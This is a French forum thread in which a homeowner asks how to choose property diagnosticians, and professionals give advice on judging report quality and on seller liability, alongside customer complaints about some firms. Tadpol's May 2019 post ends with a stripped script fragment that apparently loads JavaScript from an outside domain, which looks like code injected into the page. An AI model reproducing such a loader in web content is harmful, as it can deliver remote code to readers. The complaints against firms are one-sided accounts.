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Quels diagnostiqueurs choisir ?

Imprimé depuis: DiagActu Forum
Categorie: ESPACE PUBLIC
Nom du Forum: Propriétaires, acquéreurs, locataires... : vos questions ici
Description du Forum: Qui mieux que les diagnostiqueurs peut répondre à vos questions sur les diagnostics immobiliers ?
URL: http://forum.diagnostiqueur-immobilier.fr/forum_posts.asp?TID=6913
Date: 29-Mar-2020 à 00:56


Sujet: Quels diagnostiqueurs choisir ?
Posté par: Guests
Sujet: Quels diagnostiqueurs choisir ?
Posté le: 07-Dec-2016 à 10:21
Bonjour à tous,

Mon mari et moi-même souhaitons actuellement vendre notre maison à Lampertheim (Alsace). 
Nous devons donc faire appel a des diagnostiqueurs immobiliers mais étant donné la quantité de diagnostiqueurs sur le marché nous ne savons pas qui choisir...Ma cousine nous a conseillé le cabinet DIAGAMTER à Strasbourg, quelqu'un a-t-il déjà fait appel à eux ? Si oui, êtes vous satisfait ?

Merci d'avance pour vos réponses Smile



Réponses:
Posté par: ANTOINE PIETRINI
Posté le: 07-Dec-2016 à 10:42
Bonjour,

Franchement, demander sur un forum pro, peuplé à 99.99 % d'indépendants ce que l'on pense de la plus grosse franchise du secteur, c'est un peu gonflé, non ?

Si votre sœur a été satisfaite de la prestation de ce cabinet (RV respecté, tous volumes visités, dont les combles et vides-sanitaires, un ratio horaire correct, nb de pvts amiante cohérent par rapport au bien, contenu des rapports lisibles par un profane et explication fournies sur leurs conclusions) faites comme elle.

Sinon, hormis le RNDA, dont je ne sais si l'annuaire est bien à jour, il n'y a pas vraiment de moyen de différencier les bons des mauvais, aucun label, aucun critère objectif de confiance... malheureusement... Le bouche à oreille sera donc souvent notre meilleure publicité.

Evitez seulement la formule souvent proposée par les marchands de biens de prendre en charge ou de choix de l'opérateur. Cela ne les regarde en rien.

Cdlt.

A.P.


Posté par: n&b
Posté le: 07-Dec-2016 à 12:45
Rien de tel que le bouche à oreille + un regard critique sur un rapport fourni.
Attention cependant : il y a des mecs très sympa dans le métier, type ancien banquier ou anciens vendeurs d'assurance qui seront vous barratiner alors que c'est un boulot technique.
Pour le rapport, il y a des choses simples, certes plus simples pour nous :
En général, quand déjà, il y a des photos, c'est que le diagnostiqueur a pris le temps d'en mettre; s'il a pris le temps là, il a sans doute pris du temps pour faire le reste.
- en amiante, présence d'un schéma du bien même en absence d'amiante, les dépendances ont-elles été visitées.
- pour le plomb, les plafonds sont-ils mesurés (le gars avait-il une échelle pour le faire), toutes les pièces et toutes leurs unités de diagnostics ont-elles été passée en revue
- le DPE, par exemple pour les fenêtres est-il juste marqué double vitrage ou il y a le type de vitrage. Vérifier qu'il n'y ait pas trop d'informations marquées 'inconnu'. L'isolant d'un mur placo est relativement facile à déterminer, suffit de le vouloir (un plafond c'est plus compliqué).
- Electricité : les anomalies sont -elles expliquées ou la troisième colonne du tableau est-elle totalement vierge?

Demander puis vérifier le temps d'intervention sur place (et si la rédaction rentre dans ce temps d'intervention auquel cas, le rapport est peut-être limité à 'des croix dans des cases')
En fin, je dirais, se méfier des trop grosses boites qui ont à amortir toute une infrastructure (publicité...) et qui, à chercher la rentabilité à tout va, donnent à leurs salariés plusieurs missions par jour qui ne pourront être honorées qu'au dépend de la qualité. Un indépendant, s'il doit passer une heure de plus sur place, le fera même s'il ne reviendra pas sur le prix convenu.


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'même le plus noir nuage a toujours sa frange d'or'


Posté par: marco34
Posté le: 08-Dec-2016 à 12:10
Arrétons de nous flageller en public, nous sommes tous bon :


http://diagnostiqueurs.application.developpement-durable.gouv.fr/index.action


Posté par: ASTERDI
Posté le: 08-Dec-2016 à 13:34
euh ... évitez le taper sur la touche Entré de votre PC, vous risquez d'être déçu du résultat(aucun diagnostiqueur certifié), désolé le programmeur ne devait pas être comme nous tous LOL

Allez, on vous donne l'astuce, il faut cliquer sur les boutons Vérifier ou Rechercher pour avoir les "bonnes" réponses


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Si vous pensez que vous êtes trop petit pour avoir de l’impact, pensez à vous quand vous allez au lit et qu'il y a un moustique dans votre chambre ! ;)


Posté par: CHOUBRETON
Posté le: 09-Dec-2016 à 16:45
DIAGNOSTIC RADON, A partir de juillet 2017 tout propriétaire qui voudra louer ou vendre un bien devra prévenir le futur locataire ou acquéreur de la présence de radon dans le département ou il se situ voir les 31 départements concernés par le radon (RÉGIONS: BRETAGNE -LIMOUSIN-FRANCHE COMTE-CORSE etc etc). Les agents immobiliers devraient informer les propriétaires sur la problématique du Gaz RADON, pour valoriser un bien, il vaut mieux faire un diagnostic radon. Dans le cas d'un résultat neutre soit en dessous des seuils autorisés 300 bq/m3, le propriétaire pourra mettre en avant pour donner de la valeur a son bien. Dans le cas d'un résultat positif soit au delà du seuil de 300 bq/m3, des travaux de remédiations simples peuvent être mis en route. Pour tout renseignement: TEL (...)

Message modéré : Merci infiniment CHOUBRETON pour ce petit point tout à fait désintéressé sur la réglementation relative à l'information sur le risque radon.


Posté par: Christophe67
Posté le: 09-Dec-2016 à 18:24
Roooo. Là aussi ....
Pas bien


Posté par: ASTERDI
Posté le: 09-Dec-2016 à 19:48
Et il sort d'où ce seuil neutre de 300 Bq/m3 svp ? Stern Smile


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Si vous pensez que vous êtes trop petit pour avoir de l’impact, pensez à vous quand vous allez au lit et qu'il y a un moustique dans votre chambre ! ;)


Posté par: zireman
Posté le: 12-Dec-2016 à 01:26
bonjour déjà demandé des  devis. 
puis après on est tous idem en certification


Posté par: ASTERDI
Posté le: 12-Dec-2016 à 08:50
Et Choubreton ... c'est quoi votre N° d'agrément pour le dépistage radon ?

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Si vous pensez que vous êtes trop petit pour avoir de l’impact, pensez à vous quand vous allez au lit et qu'il y a un moustique dans votre chambre ! ;)


Posté par: Guests
Posté le: 01-Jan-2017 à 18:44
A ÉVITER A TOUT PRIX!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Je vous conseil de surtout éviter (...)
Cette entreprise à voulue
me forcer la main (avec huissier) et me faire payer la facture d'un
DPE que l'agence immobilière (qui les avait mandaté et qui s'était
engagé à payer cette prestation en échange d'un mandat exclusif) à
refusé de payer.
Leur intervention à eu
lieu en 2011, et comme leur facture n'a pas été payé par leur
client (l'agence immobilière), ils ont tout simplement modifié et renommé la
facture à mon nom en 2013 (" tout à fait légal de modifier une facture déjà faite en 2011 au nom de l'agence immobilière") , ensuite ils ont lancé une procédure de recouvrement par voix d'huissier.

Malgré tout mes entretiens téléphoniques et mes courriers, toujours la même réponse de leur part, vous devez payer.Mais pourquoi ils ne se sont pas retourner vers leur client qui leur faisait défaut, a savoir l'agence immobilière ?
C'est simple, c'est tellement facile de faire peur aux particuliers avec des huissiers qui frappe à votre porte, même si on sait que cela n'est pas légale!

Je précise de plus que
sur les documents de ciel expertise, l'information sur le fait que
l'agence immobilière était le donneur d'ordre et qu'elle devait
régler la facture était bien inscrit. Même leur technicien me
l'avait bien rappelé lors de son intervention (donc ciel expertise
était parfaitement informé).
<p style="margin-bottom: 0cm" lang="fr-FR">Plus de 2 ans de
procédures (courriers, huissiers à la maison, tribunaux).


<p style="margin-bottom: 0cm" lang="fr-FR">Après bien des tracas,
j'ai enfin et heureusement gain de cause par décision du tribunal.


<p style="margin-bottom: 0cm" lang="fr-FR">Le comble de l’ironie,
c'est que je n'ai jamais reçu le DPE que cette entreprise voulait me
faire payer de force.


<p style="margin-bottom: 0cm"><span lang="fr-FR">Alors à vous de voir si vous souhaitez faire appel à cette entreprise qui
lorsque sont client qui lui passe commande, refuse de lui payer sa
facture décide de vous la retourner avec huissier. </span>SUPER!!!!!!!!!!!



Message modéré : suppression du nom de la société visée


Posté par: million54
Posté le: 01-Jan-2017 à 20:37

Message posté par bechy57 bechy57 a écrit:

A ÉVITER A TOUT PRIX!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Je vous conseil de surtout éviter (...).
Cette entreprise à voulue
me forcer la main (avec huissier) et me faire payer la facture d'un
DPE que l'agence immobilière (qui les avait mandaté et qui s'était
engagé à payer cette prestation en échange d'un mandat exclusif) à
refusé de payer.
Leur intervention à eu
lieu en 2011, et comme leur facture n'a pas été payé par leur
client (l'agence immobilière), ils ont tout simplement modifié et renommé la
facture à mon nom en 2013 (" tout à fait légal de modifier une facture déjà faite en 2011 au nom de l'agence immobilière") , ensuite ils ont lancé une procédure de recouvrement par voix d'huissier.

Malgré tout mes entretiens téléphoniques et mes courriers, toujours la même réponse de leur part, vous devez payer.Mais pourquoi ils ne se sont pas retourner vers leur client qui leur faisait défaut, a savoir l'agence immobilière ?
C'est simple, c'est tellement facile de faire peur aux particuliers avec des huissiers qui frappe à votre porte, même si on sait que cela n'est pas légale!

Je précise de plus que
sur les documents de ciel expertise, l'information sur le fait que
l'agence immobilière était le donneur d'ordre et qu'elle devait
régler la facture était bien inscrit. Même leur technicien me
l'avait bien rappelé lors de son intervention (donc ciel expertise
était parfaitement informé).
<p style="margin-bottom: 0cm" lang="fr-FR">Plus de 2 ans de
procédures (courriers, huissiers à la maison, tribunaux).


<p style="margin-bottom: 0cm" lang="fr-FR">Après bien des tracas,
j'ai enfin et heureusement gain de cause par décision du tribunal.


<p style="margin-bottom: 0cm" lang="fr-FR">Le comble de l’ironie,
c'est que je n'ai jamais reçu le DPE que cette entreprise voulait me
faire payer de force.


<p style="margin-bottom: 0cm"><span lang="fr-FR">Alors à vous de voir si vous souhaitez faire appel à cette entreprise qui
lorsque sont client qui lui passe commande, refuse de lui payer sa
facture décide de vous la retourner avec huissier. </span>SUPER!!!!!!!!!!!







Je trouve bizarre que vous ne citiez que l'agence de diagnostic, (Même si la manière de faire semble peut scrupuleuse), c'est quand même l'agence immobilière qui vous à mis dans cette merde, pour ne pas avoir honoré sa parole, ha oui, mais elle a vendu votre bien....
Alors, la prochaine fois, choisissez vous même votre diagnostiqueur et payer le, vous éviterez tous ces problèmes.



Posté par: Christophe67
Posté le: 01-Jan-2017 à 20:43
@bechy57
En écrivant ce message vous vous exposez à être attaqué et condamné pour diffamation, la volonté de nuire, alors que vous dites avoir eu gain de cause au tribunal, me semblant assez évidente.


Posté par: ASTERDI
Posté le: 01-Jan-2017 à 23:26
Et plutôt que de mettre ce genre de news sur un forum de diagnostiqueurs, si c'est pour le bien être de votre prochain et pour lui éviter ce genre de mésaventure qui vous est arrivée il serait plus utile de le mettre sur des forums spécialisés en immobilier, lesquels auront davantage de visite de particuliers en quête d'achat et de "bons plans".

Le tout gratuit ne l'est jamais vraiment ... (malheureusement) Ying Yang


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Posté par: bob5jo
Posté le: 11-Jan-2017 à 19:53


Posté par: Guests
Posté le: 21-Mai-2019 à 07:29
Bonjour, choisissez bien votre diagnostiqueur, pour ma part, j'en suis à 10 000€ de procédure judiciaire avec la société Qualiconsult. J'ai acheté une maison avec une toiture a 90% amiantée et le diagnostiqueur Qualiconsult n'avait vu que quelques mètres carrés. ... si je veux retirer l,amiante .... j'en ai pour 70000€ ! Alors, vous avez raison de chercher à savoir quel diagnostiqueur choisir


Posté par: ASTERDI
Posté le: 21-Mai-2019 à 07:34
Alain à quand l'ouverture d'un espace "Balance ton ODI" ? Evil Smile

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Posté par: marco34
Posté le: 21-Mai-2019 à 07:38
Ca va pas tarder...


Posté par: redox
Posté le: 22-Mai-2019 à 10:46
Un gage de qualité a minima (pour moi du moins) c'est verifier depuis combien de temps exerce le diagnostiqueur, de préference un indépendant et en profession liberale. 
Car s'il faute c'est son patrimoine perso qui peut être mis  en jeu en plus de la RCP.
Généralement ils font très attention à pas faire d'erreurs.


Posté par: n&b
Posté le: 22-Mai-2019 à 12:47
Pour moi aussi! En plus, il n'a pas la pression d'un chef au-dessus qui lui impose le nombre de missions et leur durée d'exécution
Bien sûr, la sécurité a un coût...mais en fait, la différence est négligeable face, non seulement, au coût de la vente mais aussi au risque encouru. Quand je vois des missions qui nous échappent pour 20 ou 50 euros alors que, connaissant le concurrent, je sais que le boulot ne sera pas fait correctement.  Pour imager, hier, j'ai vu un CREP, il n'y avait que des murs mentionnés (pas de porte, pas de fenêtres, pas de plafond, pas de plinthe...) et nous avons tous des exemples comme cela....qui passent d'ailleurs chez le notaire.



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Posté par: Tadpol
Posté le: 22-Mai-2019 à 13:13
On en revient au problème de qui choisit le diagnostiqueur. On a décidé de faire passer en premier la garantie du vendeur contre les vices cachés, donc c'est lui qui paie et qui fait faire les diags pour se protéger. Pourtant quand on regarde nos rapports, ils sont faits pour informer l'acquéreur avant tout.< ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">


Posté par: ASTERDI
Posté le: 22-Mai-2019 à 13:28
Pour revenir au genre de cas que tu cites N&B un petit mail à son OC avec juste un petit mot du genre
"Vous trouvez ça normal ?" ca fait pas de mal
Quand les dérives sont mineures et qu'il n'y a pas de quoi fouetter un chat ça passe mais quand c'est trop gros ne rien faire c'est se tirer une balle dans le pied


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Si vous pensez que vous êtes trop petit pour avoir de l’impact, pensez à vous quand vous allez au lit et qu'il y a un moustique dans votre chambre ! ;)


Posté par: n&b
Posté le: 22-Mai-2019 à 14:06
Tapdol, ce n'est pas antagoniste; le vendeur est sensé protéger sa vente avec un diagnostiqueur qui édite un rapport qui informera de l'état réel du bien (par rapport aux diags à faire, bien sûr) donc soit le vendeur prend les moyens de se protéger, soit il prend des risques en prenant au moins disant.
On insiste sans doute pas assez sur le fait que c'est le vendeur qui est le responsable des documents apportés pour la vente et que le diagnostiqueur n'est que "l'outil" qu'il choisit pour satisfaire à ses obligations.


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Posté par: Tadpol
Posté le: 23-Mai-2019 à 08:42
Message posté par n&b n&b a écrit:

Tapdol, ce n'est pas antagoniste; le vendeur est sensé protéger sa vente avec un diagnostiqueur qui édite un rapport qui informera de l'état réel du bien (par rapport aux diags à faire, bien sûr) donc soit le vendeur prend les moyens de se protéger, soit il prend des risques en prenant au moins disant.
On insiste sans doute pas assez sur le fait que c'est le vendeur qui est le responsable des documents apportés pour la vente et que le diagnostiqueur n'est que "l'outil" qu'il choisit pour satisfaire à ses obligations.

Oui, en théorie. En pratique quand y a un problème c'est le diagnostiqueur qui prend. L'acquéreur a plusieurs professionnels à qui demander des comptes en cas de litige, le vendeur n'est jamais inquiété ou du moins pas directement par rapport aux diagnostics.


Posté par: Christophe67
Posté le: 23-Mai-2019 à 17:19
Message posté par n&b n&b a écrit:

....
On insiste sans doute pas assez sur le fait que c'est le vendeur qui est le responsable des documents apportés pour la vente....


Alors ça, je ne suis pas sur du tout que ce soit vrai. A partir du moment où il fait appel à un diagnostiqueur certifié, il n'a à ma connaissance aucune responsabilité dans le contenu où meme la qualité des document que le diagnostiqueur lui fourni. Ou alors, j'ai loupé quelque chose.



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